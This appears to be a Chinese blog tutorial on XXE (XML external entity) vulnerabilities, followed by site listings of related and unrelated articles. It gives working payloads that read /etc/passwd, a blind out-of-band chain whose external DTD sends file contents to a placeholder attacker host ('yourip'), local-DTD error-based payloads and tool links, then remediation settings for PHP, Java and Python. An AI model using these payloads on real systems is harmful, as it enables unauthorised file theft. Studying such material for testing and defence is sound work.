这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.

   首先要明白xxe漏洞是如何读取文件的

<!ENTITY name SYSTEM  "file:///etc/passwd">
<root>&name;</root>

此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.

                  

                    

   首先观察这个http包,在发送方的http包头中可以通过conetent-type观察到服务端以xml的形式接收文件,符合xxe漏洞的条件,然后服务器会正常返回客户端在body中post过去的xml代码执行结果。此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非Blind的xxe)

  以php服务端的处理为例,若$xml即为body中的$xml数据,php直接进行解析,那么将触发xxe漏洞

  针对blind的xxe,可以构造如下xml恶意代码:

<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file://etc/passwd">
<!ENTITY % remote SYSTEM "http://yourip/eval.dtd">
%remote;
%send;
]>
<foo></foo>

  这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)

  以下是eval.dtd的内容:

<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://yourip/?p=%file;'>">
%ppp;

  整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(/etc/passwd)发送到我们的服务器上(通过get查询方式会在攻击者的服务器日志中留下记录)

  以上便是xxe漏洞的基本流程:

1.如果发现数据直接传送方式为xml,那么直接注入payload进行测试

2.如果http header里Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入

手工检测方法:

1.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY shit "this is a test">
]>
<root>
&shit;
</root>

2.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
<!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>retrieved: &pocdata;</methodName>
</methodCall>

如果在返回了this is a test,说明服务端解析了客户端发送的shit实体的内容并返回到了root节点,则继续测试是否可以加载外部实体

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/eval.xml”>
%shit;
]>

  通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

  如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

  如果不能回显,毫无疑问,使用Blind XXE攻击方法。

如果不能回显,并且目标服务器有防火墙,则可以利用本地的dtd来读取数据

  参考链接:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

这里有几种可以测试的payload,根据使用内部不同的dtd要使用不同的payload,根据内部实体中已经声明的变量我们可以去覆盖它,来调用外部实体

https://github.com/GoSecure/dtd-finder/blob/2c69ee0be7ab62dd470f0057799577d887782ead/src/main/kotlin/EntityTester.kt

这个工具还提供自动寻找jar包中可以用的dtd,以及来生成payload

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> //内部实体必须是目标机器上已经存在的,可以用常见dtd进行fuzz <!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ"> //要读取的文件
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'> %local_dtd;
]>
<message></message>

网上已经有可以自动检测XXE漏洞的开源工具:xxeinjector

  git clone https://github.com/enjoiz/XXEinjector.git

  补救措施:

  xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

  1.禁用xml外部实体

PHP:
libxml_disable_entity_loader(true); JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  2.过滤xml外部实体的关键字:

  过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

参考:

https://www.waitalone.cn/xxe-attack.html

xxe漏洞检测及代码执行过程的更多相关文章

  1. Git漏洞允许任意代码执行(CVE-2018-17456)复现

    Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为C ...

  2. JS-预解析(提升)与代码执行过程

    1,预解析的过程. 2,代码的执行过程. 预解析:程序在执行过程,会先将代码读取到内存中检查,会将所有的声明在此处进行标记,所谓的标记就是让js解析器知道这个名字,后面在使用这个名字的时候,不会出现未 ...

  3. Java代码执行过程概述

    Java代码经历三个阶段:源代码阶段(Source) -> 类加载阶段(ClassLoader) -> 运行时阶段(Runtime) 首先我们来理清一下Java代码整个执行过程, 让我们对 ...

  4. js代码执行过程

    一:first-blood:任何程序执行的第一步总是会先检查有没有语法错误,如果有,则直接抛出语法错误,直接跳出, 二:second-blood:预编译,预编译呢会有四个执行过程,1:创建执行期上下文 ...

  5. 利用dll加载漏洞实现远程代码执行

    微软的“不安全dll加载”漏洞涉及Windows XP至Windows 7等多个版本的操作系统.由于Windows存在加载未指明完整路径的dll文件的机制,可能导致用户在使用第三方软件.玩游戏.听音乐 ...

  6. Javascript代码执行过程-《悟透Javascript》笔记

    本文摘录自李战老师<悟透Javascript>一书的部分章节,为适应博客发表作了一点点修改. 1) 预编译分析. JavaScript执行引擎将所有定义式函数直接创建为作用域上的函数变量, ...

  7. STM32与ARM代码执行过程

    内存分配 1.ARM(JZ2440) 启动方式: 1)nor启动 注:1.bootloader烧在norflash的0地址 2.将bootloader从norflash中复制到SDRAM中的链接地址( ...

  8. java完整的代码执行过程 堆栈+方法区

    07\15-面向对象(static关键字-内存图解)

  9. EOS节点远程代码执行漏洞细节

    这是一个缓冲区溢出越界写漏洞 漏洞存在于在 libraries/chain/webassembly/binaryen.cpp文件的78行, Function binaryen_runtime::ins ...

随机推荐

  1. [Unity] Shader(着色器)之固定管线

    在Unity中,固定管线Shader的性能是最好的. 什么是固定管线呢? 固定渲染管线 —— 这是标准的几何&光照(T&L)管线,功能是固定的,它控制着世界.视.投影变换及固定光照控制 ...

  2. archlinux更新错误

    问题1 初始化下载: http://repo.archlinuxcn.org/x86_64/wps-office-10.1.0.5672_a21-2-x86_64.pkg.tar.xz 文件大小: 1 ...

  3. Android开发之动画(转)

    activity跳转的过渡效果,很漂亮,很全 注意,切换方法overridePendingTransition只能在startActivity和finish方法之后调用. 第一个参数为第一个Activ ...

  4. this.button1.Click += new System.EventHandler(this.button1_Click);

    在这个程序里,这里的修改是为了更好理解,当然这种写法是语法错误的. 下面我们对其进行分析: 首先,观察“=”右面的表达式. new System.EventHandler(this.button1_C ...

  5. BZOJ 1096: [ZJOI2007]仓库建设(动态规划+斜率优化)

    第一次写斜率优化,发现其实也没啥难的,没打过就随便找了一份代码借(chao)鉴(xi)下,不要介意= = 题解实在是懒得写了,贴代码吧= = CODE: #include<cstdio># ...

  6. FrameBuffer系列 之 一点资源

    Iamonlyme的FrameBuffer编程实例http://download.csdn.net/detail/iamonlyme/6512955 light588的通过framebuffer直接写 ...

  7. spring MVC 原理及源码解析

    首先要知道springmvc的核心控制器dispatcherServlet(继承自httpServlet) 一般httpServlet的请求过程: 1.初始化(创建servlet实例时)时会执行ser ...

  8. vue.js学习系列-第二篇

    一 VUE实例生命周期钩子     1 生命周期函数         定义 生命周期函数就是vue在某一时间点自动执行的函数 2 具体函数      1 new vue()      2 before ...

  9. 【Linux基础】iconv命令详解(编码转换)

    对于给定文件把它的内容从一种编码转换成另一种编码. iconv -f GBK -t UTF- file1 -o file2 //将GBK转换为UTF8,输出到file2.没-o那么会输出到标准输出 i ...

  10. C#复习笔记(3)--C#2:解决C#1的问题(进入快速通道的委托)

    委托 前言:C#1中就已经有了委托的概念,但是其繁杂的用法并没有引起开发者太多的关注,在C#2中,进行了一些编译器上的优化,可以用匿名方法来创建一个委托.同时,还支持的方法组和委托的转换.顺便的,C# ...